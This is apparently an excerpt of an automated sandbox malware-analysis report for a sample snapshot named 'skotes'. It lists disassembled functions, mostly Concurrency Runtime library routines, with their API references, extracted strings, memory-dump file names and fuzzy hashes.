Concurrency::details::HardwareAffinity::HardwareAffinity.LIBCMT ref: 00D2A07F
Concurrency::details::SchedulerProxy::AddExecutionResource.LIBCONCRT ref: 00D2A0CB

Part of subcall function 00D2AB41: List.LIBCONCRT ref: 00D2AB77

Concurrency::details::ExecutionResource::SetAsCurrent.LIBCMT ref: 00D2A0DB

Strings

?]&$, xrefs: 00D2A02C

Memory Dump Source

Source File: 00000006.00000002.3084430816.0000000000D01000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000006.00000002.3083329281.0000000000D00000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3084430816.0000000000D62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085169261.0000000000D69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085259886.0000000000D6B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085310919.0000000000D75000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085364751.0000000000D76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085410045.0000000000D77000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085591105.0000000000EDF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085636387.0000000000EE1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085693354.0000000000EFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085740035.0000000000EFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000EFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000F05000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086342475.0000000000F0F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088090474.0000000000F10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088327265.0000000000F11000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088547471.0000000000F13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088775084.0000000000F1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088921987.0000000000F21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089073659.0000000000F39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089216963.0000000000F3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089363299.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089544248.0000000000F4F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089696078.0000000000F63000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089852145.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089998884.0000000000F6D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090182033.0000000000F71000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090299844.0000000000F72000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090410765.0000000000F76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090555746.0000000000F7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090637148.0000000000F7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090781170.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090931611.0000000000F81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091108208.0000000000F8A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091258342.0000000000F8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091378336.0000000000F8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091544868.0000000000F91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091666052.0000000000F9A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091784196.0000000000FA2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091954295.0000000000FAA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FB0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FEA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092451699.0000000001016000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092566644.0000000001017000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092650705.0000000001018000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092769210.000000000101B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092893403.000000000101D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093054410.000000000102C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093185959.000000000102E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d00000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Proxy::Scheduler$ExecutionHardware$AffinityAffinity::BorrowedCoreCountCurrentFixedIncrementListResourceResource::StateToggle
String ID: ?]&$
API String ID: 932774601-313912829
Opcode ID: d1c3a86d7fab93e1f3620f1ec556958fd4552147aa5c76d75470181bdfe6747b
Instruction ID: 9966f938ebe8589a7993dc0ec1317d5702255f348eb375382f1c2e028f5d93c1
Opcode Fuzzy Hash: d1c3a86d7fab93e1f3620f1ec556958fd4552147aa5c76d75470181bdfe6747b
Instruction Fuzzy Hash: DA21AC31900B249FCB24EF69E9908ABF3F5FF68714700495EE442A7651CB70E905CBB2

Function 00D3727C Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 74COMMON

Download Yara Rule

APIs

_wcsrchr.LIBVCRUNTIME ref: 00D372BE

Strings

.exe, xrefs: 00D372CB
.cmd, xrefs: 00D372DC
.com, xrefs: 00D372FE
.bat, xrefs: 00D372ED

Memory Dump Source

Source File: 00000006.00000002.3084430816.0000000000D01000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000006.00000002.3083329281.0000000000D00000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3084430816.0000000000D62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085169261.0000000000D69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085259886.0000000000D6B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085310919.0000000000D75000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085364751.0000000000D76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085410045.0000000000D77000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085591105.0000000000EDF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085636387.0000000000EE1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085693354.0000000000EFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085740035.0000000000EFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000EFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000F05000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086342475.0000000000F0F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088090474.0000000000F10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088327265.0000000000F11000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088547471.0000000000F13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088775084.0000000000F1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088921987.0000000000F21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089073659.0000000000F39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089216963.0000000000F3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089363299.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089544248.0000000000F4F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089696078.0000000000F63000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089852145.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089998884.0000000000F6D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090182033.0000000000F71000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090299844.0000000000F72000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090410765.0000000000F76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090555746.0000000000F7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090637148.0000000000F7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090781170.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090931611.0000000000F81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091108208.0000000000F8A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091258342.0000000000F8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091378336.0000000000F8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091544868.0000000000F91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091666052.0000000000F9A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091784196.0000000000FA2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091954295.0000000000FAA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FB0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FEA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092451699.0000000001016000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092566644.0000000001017000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092650705.0000000001018000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092769210.000000000101B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092893403.000000000101D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093054410.000000000102C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093185959.000000000102E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d00000_skotes.jbxd

Yara matches

Similarity

API ID: _wcsrchr
String ID: .bat$.cmd$.com$.exe
API String ID: 1752292252-4019086052
Opcode ID: 38a2dde758bd1d0c335f66af3c4af280dea2594b0ceb555e04cf1820182c384e
Instruction ID: 6d16272a197ebf1a4c017110e627d35b9520d0fe3f4faa4496a1e8b405995034
Opcode Fuzzy Hash: 38a2dde758bd1d0c335f66af3c4af280dea2594b0ceb555e04cf1820182c384e
Instruction Fuzzy Hash: 0E010467A08E26396A3520689D02B7613888BC2BB4F29102AFC64F71C1EF44DD46A1B0

Function 00D1FA71 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 66COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 00D1FB06

Strings

kernel32.dll, xrefs: 00D1FA7A
SetThreadGroupAffinity, xrefs: 00D1FA87
GetCurrentProcessorNumberEx, xrefs: 00D1FABE
GetThreadGroupAffinity, xrefs: 00D1FA93

Memory Dump Source

Source File: 00000006.00000002.3084430816.0000000000D01000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000006.00000002.3083329281.0000000000D00000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3084430816.0000000000D62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085169261.0000000000D69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085259886.0000000000D6B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085310919.0000000000D75000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085364751.0000000000D76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085410045.0000000000D77000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085591105.0000000000EDF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085636387.0000000000EE1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085693354.0000000000EFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085740035.0000000000EFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000EFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000F05000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086342475.0000000000F0F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088090474.0000000000F10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088327265.0000000000F11000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088547471.0000000000F13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088775084.0000000000F1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088921987.0000000000F21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089073659.0000000000F39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089216963.0000000000F3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089363299.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089544248.0000000000F4F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089696078.0000000000F63000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089852145.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089998884.0000000000F6D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090182033.0000000000F71000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090299844.0000000000F72000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090410765.0000000000F76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090555746.0000000000F7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090637148.0000000000F7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090781170.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090931611.0000000000F81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091108208.0000000000F8A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091258342.0000000000F8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091378336.0000000000F8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091544868.0000000000F91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091666052.0000000000F9A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091784196.0000000000FA2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091954295.0000000000FAA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FB0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FEA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092451699.0000000001016000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092566644.0000000001017000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092650705.0000000001018000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092769210.000000000101B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092893403.000000000101D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093054410.000000000102C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093185959.000000000102E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d00000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error
String ID: GetCurrentProcessorNumberEx$GetThreadGroupAffinity$SetThreadGroupAffinity$kernel32.dll
API String ID: 348560076-465693683
Opcode ID: 728ce4405c838031cd15483950762435f2f106d4f0e25002cd11577144bf68c3
Instruction ID: 06e6af19c6f0f7f8c009ec5d4d472ab71ef1cc5b020fd1b25ab4a09681f556e0
Opcode Fuzzy Hash: 728ce4405c838031cd15483950762435f2f106d4f0e25002cd11577144bf68c3
Instruction Fuzzy Hash: E9012D256813127E671077B47D9BAEB39ACDD86704B240536BC04E62D2EEA8D8484174

Function 00D32097 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

StructuredWorkStealingQueue.LIBCMT ref: 00D320B7

Part of subcall function 00D2CAF3: Mailbox.LIBCMT ref: 00D2CB2D

Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 00D320C8
StructuredWorkStealingQueue.LIBCMT ref: 00D320FE
Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 00D3210F

Strings

e, xrefs: 00D320D9

Memory Dump Source

Source File: 00000006.00000002.3084430816.0000000000D01000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000006.00000002.3083329281.0000000000D00000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3084430816.0000000000D62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085169261.0000000000D69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085259886.0000000000D6B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085310919.0000000000D75000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085364751.0000000000D76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085410045.0000000000D77000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085591105.0000000000EDF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085636387.0000000000EE1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085693354.0000000000EFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085740035.0000000000EFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000EFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000F05000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086342475.0000000000F0F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088090474.0000000000F10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088327265.0000000000F11000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088547471.0000000000F13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088775084.0000000000F1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088921987.0000000000F21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089073659.0000000000F39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089216963.0000000000F3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089363299.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089544248.0000000000F4F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089696078.0000000000F63000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089852145.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089998884.0000000000F6D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090182033.0000000000F71000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090299844.0000000000F72000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090410765.0000000000F76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090555746.0000000000F7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090637148.0000000000F7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090781170.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090931611.0000000000F81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091108208.0000000000F8A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091258342.0000000000F8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091378336.0000000000F8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091544868.0000000000F91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091666052.0000000000F9A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091784196.0000000000FA2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091954295.0000000000FAA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FB0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FEA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092451699.0000000001016000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092566644.0000000001017000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092650705.0000000001018000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092769210.000000000101B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092893403.000000000101D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093054410.000000000102C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093185959.000000000102E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d00000_skotes.jbxd

Yara matches

Similarity

API ID: Work$Concurrency::details::ItemItem::QueueStealingStructured$Mailbox
String ID: e
API String ID: 1411586358-4024072794
Opcode ID: 1b6716c63c17d6c6149872910042524b7f9ebb3f5e3c7538eb01a51a2faaeb53
Instruction ID: 12f7a80613055084b83841ca1cbc1c60bc8f32c22dd0e811e9e7e07b5732c242
Opcode Fuzzy Hash: 1b6716c63c17d6c6149872910042524b7f9ebb3f5e3c7538eb01a51a2faaeb53
Instruction Fuzzy Hash: 7A11A335901205ABDB59DF69C98167A73A4EF01364F18C15AFC069F242DB71DD05CBB0

Function 00D1D029 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 59COMMON

Download Yara Rule

APIs

___scrt_fastfail.LIBCMT ref: 00D1D0A5

Strings

api-ms-win-core-synch-l1-2-0.dll, xrefs: 00D1D03B
kernel32.dll, xrefs: 00D1D04C
SleepConditionVariableCS, xrefs: 00D1D05D
WakeAllConditionVariable, xrefs: 00D1D069

Memory Dump Source

Source File: 00000006.00000002.3084430816.0000000000D01000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000006.00000002.3083329281.0000000000D00000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3084430816.0000000000D62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085169261.0000000000D69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085259886.0000000000D6B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085310919.0000000000D75000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085364751.0000000000D76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085410045.0000000000D77000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085591105.0000000000EDF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085636387.0000000000EE1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085693354.0000000000EFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085740035.0000000000EFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000EFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000F05000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086342475.0000000000F0F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088090474.0000000000F10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088327265.0000000000F11000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088547471.0000000000F13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088775084.0000000000F1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088921987.0000000000F21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089073659.0000000000F39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089216963.0000000000F3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089363299.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089544248.0000000000F4F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089696078.0000000000F63000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089852145.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089998884.0000000000F6D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090182033.0000000000F71000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090299844.0000000000F72000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090410765.0000000000F76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090555746.0000000000F7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090637148.0000000000F7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090781170.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090931611.0000000000F81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091108208.0000000000F8A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091258342.0000000000F8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091378336.0000000000F8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091544868.0000000000F91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091666052.0000000000F9A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091784196.0000000000FA2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091954295.0000000000FAA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FB0000.00000040.00000001.01000000.00000008.sdmpDownload File
